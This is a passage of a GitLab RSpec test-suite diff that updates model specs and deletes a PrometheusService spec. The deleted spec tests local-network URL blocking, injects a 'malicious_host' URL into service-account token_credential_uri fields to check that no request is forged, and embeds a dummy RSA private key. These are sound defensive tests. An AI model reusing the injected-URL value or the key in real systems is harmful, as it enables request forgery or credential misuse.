+ it 'returns false if MR has no CI integration nor pipeline, and no commits' do
+ allow(merge_request).to receive_message_chain(:source_project, :ci_integration) { nil }
allow(merge_request).to receive(:head_pipeline_id) { nil }
allow(merge_request).to receive(:all_pipelines) { [] }
allow(merge_request).to receive(:has_no_commits?) { true }
@@ -2067,14 +2083,6 @@ RSpec.describe MergeRequest, factory_default: :keep do
let(:merge_request) { create(:merge_request, :with_codequality_mr_diff_reports) }
it { is_expected.to be_truthy }
-
- context 'when feature flag is disabled' do
- before do
- stub_feature_flags(codequality_mr_diff: false)
- end
-
- it { is_expected.to be_falsey }
- end
end
context 'when head pipeline does not have codeqquality mr diff report' do
diff --git a/spec/models/milestone_spec.rb b/spec/models/milestone_spec.rb
index 7cf7c360dff..bc592acc80f 100644
--- a/spec/models/milestone_spec.rb
+++ b/spec/models/milestone_spec.rb
@@ -3,10 +3,9 @@
require 'spec_helper'
RSpec.describe Milestone do
- let(:user) { create(:user) }
- let(:issue) { create(:issue, project: project) }
- let(:milestone) { create(:milestone, project: project) }
- let(:project) { create(:project, :public) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:issue) { create(:issue, project: project) }
it_behaves_like 'a timebox', :milestone do
describe "#uniqueness_of_title" do
@@ -92,6 +91,8 @@ RSpec.describe Milestone do
end
describe '.predefined_id?' do
+ let_it_be(:milestone) { create(:milestone, project: project) }
+
it 'returns true for a predefined Milestone ID' do
expect(Milestone.predefined_id?(described_class::Upcoming.id)).to be true
end
@@ -129,6 +130,8 @@ RSpec.describe Milestone do
end
describe "#percent_complete" do
+ let(:milestone) { create(:milestone, project: project) }
+
it "does not count open issues" do
milestone.issues << issue
expect(milestone.percent_complete).to eq(0)
@@ -145,24 +148,22 @@ RSpec.describe Milestone do
end
end
- describe '#expired?' do
+ describe '#expired? and #expired' do
context "expired" do
- before do
- allow(milestone).to receive(:due_date).and_return(Date.today.prev_year)
- end
+ let(:milestone) { build(:milestone, project: project, due_date: Date.today.prev_year) }
- it 'returns true when due_date is in the past' do
+ it 'returns true when due_date is in the past', :aggregate_failures do
expect(milestone.expired?).to be_truthy
+ expect(milestone.expired).to eq true
end
end
context "not expired" do
- before do
- allow(milestone).to receive(:due_date).and_return(Date.today.next_year)
- end
+ let(:milestone) { build(:milestone, project: project, due_date: Date.today.next_year) }
- it 'returns false when due_date is in the future' do
+ it 'returns false when due_date is in the future', :aggregate_failures do
expect(milestone.expired?).to be_falsey
+ expect(milestone.expired).to eq false
end
end
end
@@ -180,10 +181,8 @@ RSpec.describe Milestone do
end
describe '#can_be_closed?' do
- it { expect(milestone.can_be_closed?).to be_truthy }
- end
+ let_it_be(:milestone) { build(:milestone, project: project) }
- describe '#can_be_closed?' do
before do
milestone = create :milestone, project: project
create :closed_issue, milestone: milestone, project: project
@@ -335,10 +334,10 @@ RSpec.describe Milestone do
it_behaves_like '#for_projects_and_groups'
describe '.upcoming_ids' do
- let(:group_1) { create(:group) }
- let(:group_2) { create(:group) }
- let(:group_3) { create(:group) }
- let(:groups) { [group_1, group_2, group_3] }
+ let_it_be(:group_1) { create(:group) }
+ let_it_be(:group_2) { create(:group) }
+ let_it_be(:group_3) { create(:group) }
+ let_it_be(:groups) { [group_1, group_2, group_3] }
let!(:past_milestone_group_1) { create(:milestone, group: group_1, due_date: Time.current - 1.day) }
let!(:current_milestone_group_1) { create(:milestone, group: group_1, due_date: Time.current + 1.day) }
@@ -350,10 +349,10 @@ RSpec.describe Milestone do
let!(:past_milestone_group_3) { create(:milestone, group: group_3, due_date: Time.current - 1.day) }
- let(:project_1) { create(:project) }
- let(:project_2) { create(:project) }
- let(:project_3) { create(:project) }
- let(:projects) { [project_1, project_2, project_3] }
+ let_it_be(:project_1) { create(:project) }
+ let_it_be(:project_2) { create(:project) }
+ let_it_be(:project_3) { create(:project) }
+ let_it_be(:projects) { [project_1, project_2, project_3] }
let!(:past_milestone_project_1) { create(:milestone, project: project_1, due_date: Time.current - 1.day) }
let!(:current_milestone_project_1) { create(:milestone, project: project_1, due_date: Time.current + 1.day) }
@@ -451,6 +450,32 @@ RSpec.describe Milestone do
end
end
+ describe '.sort_with_expired_last' do
+ let_it_be(:milestone) { create(:milestone, title: 'Due today', due_date: Date.current) }
+ let_it_be(:milestone_1) { create(:milestone, title: 'Current 1', due_date: Date.current + 1.day) }
+ let_it_be(:milestone_2) { create(:milestone, title: 'Current 2', due_date: Date.current + 2.days) }
+ let_it_be(:milestone_3) { create(:milestone, title: 'Without due date') }
+ let_it_be(:milestone_4) { create(:milestone, title: 'Expired 1', due_date: Date.current - 2.days) }
+ let_it_be(:milestone_5) { create(:milestone, title: 'Expired 2', due_date: Date.current - 1.day) }
+ let_it_be(:milestone_6) { create(:milestone, title: 'Without due date2') }
+
+ context 'ordering by due_date ascending' do
+ it 'sorts by due date in ascending order (ties broken by id in desc order)', :aggregate_failures do
+ expect(milestone_3.id).to be < (milestone_6.id)
+ expect(described_class.sort_with_expired_last(:expired_last_due_date_asc))
+ .to eq([milestone, milestone_1, milestone_2, milestone_6, milestone_3, milestone_4, milestone_5])
+ end
+ end
+
+ context 'ordering by due_date descending' do
+ it 'sorts by due date in descending order (ties broken by id in desc order)', :aggregate_failures do
+ expect(milestone_3.id).to be < (milestone_6.id)
+ expect(described_class.sort_with_expired_last(:expired_last_due_date_desc))
+ .to eq([milestone_2, milestone_1, milestone, milestone_6, milestone_3, milestone_5, milestone_4])
+ end
+ end
+ end
+
describe '.sort_by_attribute' do
let_it_be(:milestone_1) { create(:milestone, title: 'Foo') }
let_it_be(:milestone_2) { create(:milestone, title: 'Bar') }
diff --git a/spec/models/namespace/root_storage_statistics_spec.rb b/spec/models/namespace/root_storage_statistics_spec.rb
index b725d2366a1..51c191069ec 100644
--- a/spec/models/namespace/root_storage_statistics_spec.rb
+++ b/spec/models/namespace/root_storage_statistics_spec.rb
@@ -99,6 +99,7 @@ RSpec.describe Namespace::RootStorageStatistics, type: :model do
context 'with a personal namespace' do
let_it_be(:user) { create(:user) }
+
let(:namespace) { user.namespace }
it_behaves_like 'data refresh'
diff --git a/spec/models/namespace_spec.rb b/spec/models/namespace_spec.rb
index 373f3a89e14..ea1ce067e4d 100644
--- a/spec/models/namespace_spec.rb
+++ b/spec/models/namespace_spec.rb
@@ -156,7 +156,7 @@ RSpec.describe Namespace do
end
end
- describe 'scopes' do
+ describe 'scopes', :aggregate_failures do
let_it_be(:namespace1) { create(:group, name: 'Namespace 1', path: 'namespace-1') }
let_it_be(:namespace2) { create(:group, name: 'Namespace 2', path: 'namespace-2') }
let_it_be(:namespace1sub) { create(:group, name: 'Sub Namespace', path: 'sub-namespace', parent: namespace1) }
@@ -181,6 +181,15 @@ RSpec.describe Namespace do
expect(described_class.filter_by_path(namespace1.path.upcase)).to eq([namespace1])
end
end
+
+ describe '.sorted_by_similarity_and_parent_id_desc' do
+ it 'returns exact matches and top level groups first' do
+ expect(described_class.sorted_by_similarity_and_parent_id_desc(namespace1.path)).to eq([namespace1, namespace2, namespace2sub, namespace1sub, namespace])
+ expect(described_class.sorted_by_similarity_and_parent_id_desc(namespace2.path)).to eq([namespace2, namespace1, namespace2sub, namespace1sub, namespace])
+ expect(described_class.sorted_by_similarity_and_parent_id_desc(namespace2sub.name)).to eq([namespace2sub, namespace1sub, namespace2, namespace1, namespace])
+ expect(described_class.sorted_by_similarity_and_parent_id_desc('Namespace')).to eq([namespace2, namespace1, namespace2sub, namespace1sub, namespace])
+ end
+ end
end
describe 'delegate' do
@@ -965,6 +974,14 @@ RSpec.describe Namespace do
end
end
+ shared_examples 'disabled feature flag when traversal_ids is blank' do
+ before do
+ namespace.traversal_ids = []
+ end
+
+ it { is_expected.to eq false }
+ end
+
describe '#use_traversal_ids?' do
let_it_be(:namespace, reload: true) { create(:namespace) }
@@ -976,6 +993,8 @@ RSpec.describe Namespace do
end
it { is_expected.to eq true }
+
+ it_behaves_like 'disabled feature flag when traversal_ids is blank'
end
context 'when use_traversal_ids feature flag is false' do
@@ -987,6 +1006,62 @@ RSpec.describe Namespace do
end
end
+ describe '#use_traversal_ids_for_root_ancestor?' do
+ let_it_be(:namespace, reload: true) { create(:namespace) }
+
+ subject { namespace.use_traversal_ids_for_root_ancestor? }
+
+ context 'when use_traversal_ids_for_root_ancestor feature flag is true' do
+ before do
+ stub_feature_flags(use_traversal_ids_for_root_ancestor: true)
+ end
+
+ it { is_expected.to eq true }
+
+ it_behaves_like 'disabled feature flag when traversal_ids is blank'
+ end
+
+ context 'when use_traversal_ids_for_root_ancestor feature flag is false' do
+ before do
+ stub_feature_flags(use_traversal_ids_for_root_ancestor: false)
+ end
+
+ it { is_expected.to eq false }
+ end
+ end
+
+ describe '#use_traversal_ids_for_ancestors?' do
+ let_it_be(:namespace, reload: true) { create(:namespace) }
+
+ subject { namespace.use_traversal_ids_for_ancestors? }
+
+ context 'when use_traversal_ids_for_ancestors? feature flag is true' do
+ before do
+ stub_feature_flags(use_traversal_ids_for_ancestors: true)
+ end
+
+ it { is_expected.to eq true }
+
+ it_behaves_like 'disabled feature flag when traversal_ids is blank'
+ end
+
+ context 'when use_traversal_ids_for_ancestors? feature flag is false' do
+ before do
+ stub_feature_flags(use_traversal_ids_for_ancestors: false)
+ end
+
+ it { is_expected.to eq false }
+ end
+
+ context 'when use_traversal_ids? feature flag is false' do
+ before do
+ stub_feature_flags(use_traversal_ids: false)
+ end
+
+ it { is_expected.to eq false }
+ end
+ end
+
describe '#users_with_descendants' do
let(:user_a) { create(:user) }
let(:user_b) { create(:user) }
@@ -1058,6 +1133,14 @@ RSpec.describe Namespace do
end
include_examples '#all_projects'
+
+ # Using #self_and_descendant instead of #self_and_descendant_ids can produce
+ # very slow queries.
+ it 'calls self_and_descendant_ids' do
+ namespace = create(:group)
+ expect(namespace).to receive(:self_and_descendant_ids)
+ namespace.all_projects
+ end
end
context 'with use_traversal_ids feature flag disabled' do
diff --git a/spec/models/note_spec.rb b/spec/models/note_spec.rb
index d9f566f9383..2afe9a0f29b 100644
--- a/spec/models/note_spec.rb
+++ b/spec/models/note_spec.rb
@@ -455,6 +455,7 @@ RSpec.describe Note do
describe "#system_note_viewable_by?(user)" do
let_it_be(:note) { create(:note) }
let_it_be(:user) { create(:user) }
+
let!(:metadata) { create(:system_note_metadata, note: note, action: "branch") }
context "when system_note_metadata is not present" do
@@ -536,6 +537,7 @@ RSpec.describe Note do
context "when there is a reference to a label" do
let_it_be(:private_label) { create(:label, project: private_project) }
+
let(:note) do
create :note,
noteable: ext_issue, project: ext_proj,
@@ -550,6 +552,7 @@ RSpec.describe Note do
context "when there are two references in note" do
let_it_be(:ext_issue2) { create(:issue, project: ext_proj) }
+
let(:note) do
create :note,
noteable: ext_issue2, project: ext_proj,
@@ -1239,6 +1242,7 @@ RSpec.describe Note do
describe 'expiring ETag cache' do
let_it_be(:issue) { create(:issue) }
+
let(:note) { build(:note, project: issue.project, noteable: issue) }
def expect_expiration(noteable)
diff --git a/spec/models/notification_setting_spec.rb b/spec/models/notification_setting_spec.rb
index 010b7455f85..3f1684327e7 100644
--- a/spec/models/notification_setting_spec.rb
+++ b/spec/models/notification_setting_spec.rb
@@ -51,6 +51,7 @@ RSpec.describe NotificationSetting do
context 'notification_email' do
let_it_be(:user) { create(:user) }
+
subject { described_class.new(source_id: 1, source_type: 'Project', user_id: user.id) }
it 'allows to change email to verified one' do
diff --git a/spec/models/operations/feature_flag_spec.rb b/spec/models/operations/feature_flag_spec.rb
index 55682e12642..cb9da2aea34 100644
--- a/spec/models/operations/feature_flag_spec.rb
+++ b/spec/models/operations/feature_flag_spec.rb
@@ -251,6 +251,7 @@ RSpec.describe Operations::FeatureFlag do
describe '.for_unleash_client' do
let_it_be(:project) { create(:project) }
+
let!(:feature_flag) do
create(:operations_feature_flag, project: project,
name: 'feature1', active: true, version: 2)
diff --git a/spec/models/packages/package_file_spec.rb b/spec/models/packages/package_file_spec.rb
index 7f2f22c815c..ee0aeb26d50 100644
--- a/spec/models/packages/package_file_spec.rb
+++ b/spec/models/packages/package_file_spec.rb
@@ -5,6 +5,7 @@ RSpec.describe Packages::PackageFile, type: :model do
let_it_be(:project) { create(:project) }
let_it_be(:package_file1) { create(:package_file, :xml, file_name: 'FooBar') }
let_it_be(:package_file2) { create(:package_file, :xml, file_name: 'ThisIsATest') }
+ let_it_be(:package_file3) { create(:package_file, :xml, file_name: 'formatted.zip') }
let_it_be(:debian_package) { create(:debian_package, project: project) }
describe 'relationships' do
@@ -36,6 +37,12 @@ RSpec.describe Packages::PackageFile, type: :model do
it { is_expected.to match_array([package_file1]) }
end
+
+ describe '.with_format' do
+ subject { described_class.with_format('zip') }
+
+ it { is_expected.to contain_exactly(package_file3) }
+ end
end
context 'updating project statistics' do
diff --git a/spec/models/packages/package_spec.rb b/spec/models/packages/package_spec.rb
index b2c1d51e4af..449e30f9fb7 100644
--- a/spec/models/packages/package_spec.rb
+++ b/spec/models/packages/package_spec.rb
@@ -1006,37 +1006,4 @@ RSpec.describe Packages::Package, type: :model do
it_behaves_like 'not enqueuing a sync worker job'
end
end
-
- context 'destroying a composer package' do
- let_it_be(:package_name) { 'composer-package-name' }
- let_it_be(:json) { { 'name' => package_name } }
- let_it_be(:project) { create(:project, :custom_repo, files: { 'composer.json' => json.to_json } ) }
-
- let!(:package) { create(:composer_package, :with_metadatum, project: project, name: package_name, version: '1.0.0', json: json) }
-
- before do
- Gitlab::Composer::Cache.new(project: project, name: package_name).execute
- package.composer_metadatum.reload
- end
-
- context 'with feature flag disabled' do
- before do
- stub_feature_flags(disable_composer_callback: false)
- end
-
- it 'schedule the update job' do
- expect(::Packages::Composer::CacheUpdateWorker).to receive(:perform_async).with(project.id, package_name, package.composer_metadatum.version_cache_sha)
-
- package.destroy!
- end
- end
-
- context 'with feature flag enabled' do
- it 'does nothing' do
- expect(::Packages::Composer::CacheUpdateWorker).not_to receive(:perform_async)
-
- package.destroy!
- end
- end
- end
end
diff --git a/spec/models/plan_limits_spec.rb b/spec/models/plan_limits_spec.rb
index cf8e30023eb..72fda2280e5 100644
--- a/spec/models/plan_limits_spec.rb
+++ b/spec/models/plan_limits_spec.rb
@@ -5,6 +5,7 @@ require 'spec_helper'
RSpec.describe PlanLimits do
let_it_be(:project) { create(:project) }
let_it_be(:plan_limits) { create(:plan_limits) }
+
let(:project_hooks_count) { 2 }
before do
@@ -184,6 +185,7 @@ RSpec.describe PlanLimits do
ci_max_artifact_size_junit
ci_max_artifact_size_sast
ci_max_artifact_size_dast
+ ci_max_artifact_size_cluster_image_scanning
ci_max_artifact_size_codequality
ci_max_artifact_size_license_management
ci_max_artifact_size_performance
diff --git a/spec/models/plan_spec.rb b/spec/models/plan_spec.rb
index 490c6b1bbf7..73e88a17e24 100644
--- a/spec/models/plan_spec.rb
+++ b/spec/models/plan_spec.rb
@@ -15,6 +15,29 @@ RSpec.describe Plan do
end
end
+ describe '#default' do
+ context 'when default plan exists' do
+ let!(:default_plan) { create(:default_plan) }
+
+ it 'returns default plan' do
+ expect(described_class.default).to eq(default_plan)
+ end
+ end
+
+ context 'when default plan does not exist' do
+ it 'creates default plan' do
+ expect { described_class.default }.to change { Plan.count }.by(1)
+ end
+
+ it 'creates plan with correct attributes' do
+ plan = described_class.default
+
+ expect(plan.name).to eq(Plan::DEFAULT)
+ expect(plan.title).to eq(Plan::DEFAULT.titleize)
+ end
+ end
+ end
+
context 'when updating plan limits' do
let(:plan) { described_class.default }
diff --git a/spec/models/project_ci_cd_setting_spec.rb b/spec/models/project_ci_cd_setting_spec.rb
index c206ba27ec1..caab182cda8 100644
--- a/spec/models/project_ci_cd_setting_spec.rb
+++ b/spec/models/project_ci_cd_setting_spec.rb
@@ -22,8 +22,8 @@ RSpec.describe ProjectCiCdSetting do
end
describe '#job_token_scope_enabled' do
- it 'is true by default' do
- expect(described_class.new.job_token_scope_enabled).to be_truthy
+ it 'is false by default' do
+ expect(described_class.new.job_token_scope_enabled).to be_falsey
end
end
diff --git a/spec/models/project_services/prometheus_service_spec.rb b/spec/models/project_services/prometheus_service_spec.rb
deleted file mode 100644
index a2025388fab..00000000000
--- a/spec/models/project_services/prometheus_service_spec.rb
+++ /dev/null
@@ -1,542 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-require 'googleauth'
-
-RSpec.describe PrometheusService, :use_clean_rails_memory_store_caching, :snowplow do
- include PrometheusHelpers
- include ReactiveCachingHelpers
-
- let_it_be_with_reload(:project) { create(:prometheus_project) }
-
- let(:service) { project.prometheus_service }
-
- describe "Associations" do
- it { is_expected.to belong_to :project }
- end
-
- context 'redirects' do
- it 'does not follow redirects' do
- redirect_to = 'https://redirected.example.com'
- redirect_req_stub = stub_prometheus_request(prometheus_query_url('1'), status: 302, headers: { location: redirect_to })
- redirected_req_stub = stub_prometheus_request(redirect_to, body: { 'status': 'success' })
-
- result = service.test
-
- # result = { success: false, result: error }
- expect(result[:success]).to be_falsy
- expect(result[:result]).to be_instance_of(Gitlab::PrometheusClient::UnexpectedResponseError)
-
- expect(redirect_req_stub).to have_been_requested
- expect(redirected_req_stub).not_to have_been_requested
- end
- end
-
- describe 'Validations' do
- context 'when manual_configuration is enabled' do
- before do
- service.manual_configuration = true
- end
-
- it 'validates presence of api_url' do
- expect(service).to validate_presence_of(:api_url)
- end
- end
-
- context 'when manual configuration is disabled' do
- before do
- service.manual_configuration = false
- end
-
- it 'does not validate presence of api_url' do
- expect(service).not_to validate_presence_of(:api_url)
- expect(service.valid?).to eq(true)
- end
-
- context 'local connections allowed' do
- before do
- stub_application_setting(allow_local_requests_from_web_hooks_and_services: true)
- end
-
- it 'does not validate presence of api_url' do
- expect(service).not_to validate_presence_of(:api_url)
- expect(service.valid?).to eq(true)
- end
- end
- end
-
- context 'when the api_url domain points to localhost or local network' do
- let(:domain) { Addressable::URI.parse(service.api_url).hostname }
-
- it 'cannot query' do
- expect(service.can_query?).to be true
-
- aggregate_failures do
- ['127.0.0.1', '192.168.2.3'].each do |url|
- allow(Addrinfo).to receive(:getaddrinfo).with(domain, any_args).and_return([Addrinfo.tcp(url, 80)])
-
- expect(service.can_query?).to be false
- end
- end
- end
-
- it 'can query when local requests are allowed' do
- stub_application_setting(allow_local_requests_from_web_hooks_and_services: true)
-
- aggregate_failures do
- ['127.0.0.1', '192.168.2.3'].each do |url|
- allow(Addrinfo).to receive(:getaddrinfo).with(domain, any_args).and_return([Addrinfo.tcp(url, 80)])
-
- expect(service.can_query?).to be true
- end
- end
- end
-
- context 'with self-monitoring project and internal Prometheus' do
- before do
- service.api_url = 'http://localhost:9090'
-
- stub_application_setting(self_monitoring_project_id: project.id)
- stub_config(prometheus: { enable: true, server_address: 'localhost:9090' })
- end
-
- it 'allows self-monitoring project to connect to internal Prometheus' do
- aggregate_failures do
- ['127.0.0.1', '192.168.2.3'].each do |url|
- allow(Addrinfo).to receive(:getaddrinfo).with(domain, any_args).and_return([Addrinfo.tcp(url, 80)])
-
- expect(service.can_query?).to be true
- end
- end
- end
-
- it 'does not allow self-monitoring project to connect to other local URLs' do
- service.api_url = 'http://localhost:8000'
-
- aggregate_failures do
- ['127.0.0.1', '192.168.2.3'].each do |url|
- allow(Addrinfo).to receive(:getaddrinfo).with(domain, any_args).and_return([Addrinfo.tcp(url, 80)])
-
- expect(service.can_query?).to be false
- end
- end
- end
- end
- end
- end
-
- describe 'callbacks' do
- context 'after_create' do
- let(:project) { create(:project) }
- let(:service) { build(:prometheus_service, project: project) }
-
- subject(:create_service) { service.save! }
-
- it 'creates default alerts' do
- expect(Prometheus::CreateDefaultAlertsWorker)
- .to receive(:perform_async)
- .with(project.id)
-
- create_service
- end
-
- context 'no project exists' do
- let(:service) { build(:prometheus_service, :instance) }
-
- it 'does not create default alerts' do
- expect(Prometheus::CreateDefaultAlertsWorker)
- .not_to receive(:perform_async)
-
- create_service
- end
- end
- end
- end
-
- describe '#test' do
- before do
- service.manual_configuration = true
- end
-
- let!(:req_stub) { stub_prometheus_request(prometheus_query_url('1'), body: prometheus_value_body('vector')) }
-
- context 'success' do
- it 'reads the discovery endpoint' do
- expect(service.test[:result]).to eq('Checked API endpoint')
- expect(service.test[:success]).to be_truthy
- expect(req_stub).to have_been_requested.twice
- end
- end
-
- context 'failure' do
- let!(:req_stub) { stub_prometheus_request(prometheus_query_url('1'), status: 404) }
-
- it 'fails to read the discovery endpoint' do
- expect(service.test[:success]).to be_falsy
- expect(req_stub).to have_been_requested
- end
- end
- end
-
- describe '#prometheus_client' do
- let(:api_url) { 'http://some_url' }
-
- before do
- service.active = true
- service.api_url = api_url
- service.manual_configuration = manual_configuration
- end
-
- context 'manual configuration is enabled' do
- let(:manual_configuration) { true }
-
- it 'calls valid?' do
- allow(service).to receive(:valid?).and_call_original
-
- expect(service.prometheus_client).not_to be_nil
-
- expect(service).to have_received(:valid?)
- end
- end
-
- context 'manual configuration is disabled' do
- let(:manual_configuration) { false }
-
- it 'no client provided' do
- expect(service.prometheus_client).to be_nil
- end
- end
-
- context 'when local requests are allowed' do
- let(:manual_configuration) { true }
- let(:api_url) { 'http://192.168.1.1:9090' }
-
- before do
- stub_application_setting(allow_local_requests_from_web_hooks_and_services: true)
-
- stub_prometheus_request("#{api_url}/api/v1/query?query=1")
- end
-
- it 'allows local requests' do
- expect(service.prometheus_client).not_to be_nil
- expect { service.prometheus_client.ping }.not_to raise_error
- end
- end
-
- context 'when local requests are blocked' do
- let(:manual_configuration) { true }
- let(:api_url) { 'http://192.168.1.1:9090' }
-
- before do
- stub_application_setting(allow_local_requests_from_web_hooks_and_services: false)
-
- stub_prometheus_request("#{api_url}/api/v1/query?query=1")
- end
-
- it 'blocks local requests' do
- expect(service.prometheus_client).to be_nil
- end
-
- context 'with self monitoring project and internal Prometheus URL' do
- before do
- stub_application_setting(allow_local_requests_from_web_hooks_and_services: false)
- stub_application_setting(self_monitoring_project_id: project.id)
-
- stub_config(prometheus: {
- enable: true,
- server_address: api_url
- })
- end
-
- it 'allows local requests' do
- expect(service.prometheus_client).not_to be_nil
- expect { service.prometheus_client.ping }.not_to raise_error
- end
- end
- end
-
- context 'behind IAP' do
- let(:manual_configuration) { true }
-
- let(:google_iap_service_account) do
- {
- type: "service_account",
- # dummy private key generated only for this test to pass openssl validation
- private_key: <<~KEY
- -----BEGIN RSA PRIVATE KEY-----
- MIIBOAIBAAJAU85LgUY5o6j6j/07GMLCNUcWJOBA1buZnNgKELayA6mSsHrIv31J
- Y8kS+9WzGPQninea7DcM4hHA7smMgQD1BwIDAQABAkAqKxMy6PL3tn7dFL43p0ex
- JyOtSmlVIiAZG1t1LXhE/uoLpYi5DnbYqGgu0oih+7nzLY/dXpNpXUmiRMOUEKmB
- AiEAoTi2rBXbrLSi2C+H7M/nTOjMQQDuZ8Wr4uWpKcjYJTMCIQCFEskL565oFl/7
- RRQVH+cARrAsAAoJSbrOBAvYZ0PI3QIgIEFwis10vgEF86rOzxppdIG/G+JL0IdD
- 9IluZuXAGPECIGUo7qSaLr75o2VEEgwtAFH5aptIPFjrL5LFCKwtdB4RAiAYZgFV
- HCMmaooAw/eELuMoMWNYmujZ7VaAnOewGDW0uw==
- -----END RSA PRIVATE KEY-----
- KEY
- }
- end
-
- def stub_iap_request
- service.google_iap_service_account_json = Gitlab::Json.generate(google_iap_service_account)
- service.google_iap_audience_client_id = 'IAP_CLIENT_ID.apps.googleusercontent.com'
-
- stub_request(:post, 'https://oauth2.googleapis.com/token')
- .to_return(
- status: 200,
- body: '{"id_token": "FOO"}',
- headers: { 'Content-Type': 'application/json; charset=UTF-8' }
- )
- end
-
- it 'includes the authorization header' do
- stub_iap_request
-
- expect(service.prometheus_client).not_to be_nil
- expect(service.prometheus_client.send(:options)).to have_key(:headers)
- expect(service.prometheus_client.send(:options)[:headers]).to eq(authorization: "Bearer FOO")
- end
-
- context 'when passed with token_credential_uri', issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/284819' do
- let(:malicious_host) { 'http://example.com' }
-
- where(:param_name) do
- [
- :token_credential_uri,
- :tokencredentialuri,
- :Token_credential_uri,
- :tokenCredentialUri
- ]
- end
-
- with_them do
- it 'does not make any unexpected HTTP requests' do
- google_iap_service_account[param_name] = malicious_host
- stub_iap_request
- stub_request(:any, malicious_host).to_raise('Making additional HTTP requests is forbidden!')
-
- expect(service.prometheus_client).not_to be_nil
- end
- end
- end
- end
- end
-
- describe '#prometheus_available?' do
- context 'clusters with enabled prometheus' do
- before do
- create(:clusters_integrations_prometheus, cluster: cluster)
- end
-
- context 'cluster belongs to project' do
- let(:cluster) { create(:cluster, projects: [project]) }
-
- it 'returns true' do
- expect(service.prometheus_available?).to be(true)
- end
- end
-
- context 'cluster belongs to projects group' do
- let_it_be(:group) { create(:group) }
-
- let(:project) { create(:prometheus_project, group: group) }
- let(:cluster) { create(:cluster_for_group, groups: [group]) }
-
- it 'returns true' do
- expect(service.prometheus_available?).to be(true)
- end
-
- it 'avoids N+1 queries' do
- service
- 5.times do |i|
- other_cluster = create(:cluster_for_group, groups: [group], environment_scope: i)
- create(:clusters_integrations_prometheus, cluster: other_cluster)
- end
- expect { service.prometheus_available? }.not_to exceed_query_limit(1)
- end
- end
-
- context 'cluster belongs to gitlab instance' do
- let(:cluster) { create(:cluster, :instance) }
-
- it 'returns true' do
- expect(service.prometheus_available?).to be(true)
- end
- end
- end
-
- context 'clusters with prometheus disabled' do
- let(:cluster) { create(:cluster, projects: [project]) }
- let!(:prometheus) { create(:clusters_integrations_prometheus, :disabled, cluster: cluster) }
-
- it 'returns false' do
- expect(service.prometheus_available?).to be(false)
- end
- end
-
- context 'clusters without prometheus' do
- let(:cluster) { create(:cluster, projects: [project]) }
-
- it 'returns false' do
- expect(service.prometheus_available?).to be(false)
- end
- end
-
- context 'no clusters' do
- it 'returns false' do
- expect(service.prometheus_available?).to be(false)
- end
- end
- end
-
- describe '#synchronize_service_state before_save callback' do
- context 'no clusters with prometheus are installed' do
- context 'when service is inactive' do
- before do
- service.active = false
- end
-
- it 'activates service when manual_configuration is enabled' do
- expect { service.update!(manual_configuration: true) }.to change { service.active }.from(false).to(true)
- end
-
- it 'keeps service inactive when manual_configuration is disabled' do
- expect { service.update!(manual_configuration: false) }.not_to change { service.active }.from(false)
- end
- end
-
- context 'when service is active' do
- before do
- service.active = true
- end
-
- it 'keeps the service active when manual_configuration is enabled' do
- expect { service.update!(manual_configuration: true) }.not_to change { service.active }.from(true)
- end
-
- it 'inactivates the service when manual_configuration is disabled' do
- expect { service.update!(manual_configuration: false) }.to change { service.active }.from(true).to(false)
- end
- end
- end
-
- context 'with prometheus installed in the cluster' do
- before do
- allow(service).to receive(:prometheus_available?).and_return(true)
- end
-
- context 'when service is inactive' do
- before do
- service.active = false
- end
-
- it 'activates service when manual_configuration is enabled' do
- expect { service.update!(manual_configuration: true) }.to change { service.active }.from(false).to(true)
- end
-
- it 'activates service when manual_configuration is disabled' do
- expect { service.update!(manual_configuration: false) }.to change { service.active }.from(false).to(true)
- end
- end
-
- context 'when service is active' do
- before do
- service.active = true
- end
-
- it 'keeps service active when manual_configuration is enabled' do
- expect { service.update!(manual_configuration: true) }.not_to change { service.active }.from(true)
- end
-
- it 'keeps service active when manual_configuration is disabled' do
- expect { service.update!(manual_configuration: false) }.not_to change { service.active }.from(true)
- end
- end
- end
- end
-
- describe '#track_events after_commit callback' do
- before do
- allow(service).to receive(:prometheus_available?).and_return(true)
- end
-
- context "enabling manual_configuration" do
- it "tracks enable event" do
- service.update!(manual_configuration: false)
- service.update!(manual_configuration: true)
-
- expect_snowplow_event(category: 'cluster:services:prometheus', action: 'enabled_manual_prometheus')
- end
-
- it "tracks disable event" do
- service.update!(manual_configuration: true)
- service.update!(manual_configuration: false)
-
- expect_snowplow_event(category: 'cluster:services:prometheus', action: 'disabled_manual_prometheus')
- end
- end
- end
-
- describe '#editable?' do
- it 'is editable' do
- expect(service.editable?).to be(true)
- end
-
- context 'when cluster exists with prometheus enabled' do
- let(:cluster) { create(:cluster, projects: [project]) }
-
- before do
- service.update!(manual_configuration: false)
-
- create(:clusters_integrations_prometheus, cluster: cluster)
- end
-
- it 'remains editable' do
- expect(service.editable?).to be(true)
- end
- end
- end
-
- describe '#fields' do
- let(:expected_fields) do
- [
- {
- type: 'checkbox',
- name: 'manual_configuration',
- title: s_('PrometheusService|Active'),
- help: s_('PrometheusService|Select this checkbox to override the auto configuration settings with your own settings.'),
- required: true
- },
- {
- type: 'text',
- name: 'api_url',
- title: 'API URL',
- placeholder: s_('PrometheusService|https://prometheus.example.com/'),
- help: s_('PrometheusService|The Prometheus API base URL.'),
- required: true
- },
- {
- type: 'text',
- name: 'google_iap_audience_client_id',
- title: 'Google IAP Audience Client ID',
- placeholder: s_('PrometheusService|IAP_CLIENT_ID.apps.googleusercontent.com'),
- help: s_('PrometheusService|PrometheusService|The ID of the IAP-secured resource.'),
- autocomplete: 'off',
- required: false
- },
- {
- type: 'textarea',
- name: 'google_iap_service_account_json',
- title: 'Google IAP Service Account JSON',
- placeholder: s_('PrometheusService|{ "type": "service_account", "project_id": ... }'),
- help: s_('PrometheusService|The contents of the credentials.json file of your service account.'),
- required: false
- }
- ]
- end
-
- it 'returns fields' do
- expect(service.fields).to eq(expected_fields)
- end
- end
-end
diff --git a/spec/models/project_spec.rb b/spec/models/project_spec.rb
index 144b00e1d2e..efa269cdb5c 100644
--- a/spec/models/project_spec.rb
+++ b/spec/models/project_spec.rb
@@ -35,14 +35,14 @@ RSpec.describe Project, factory_default: :keep do
it { is_expected.to have_many(:hooks) }
it { is_expected.to have_many(:protected_branches) }
it { is_expected.to have_many(:exported_protected_branches) }
- it { is_expected.to have_one(:slack_service) }
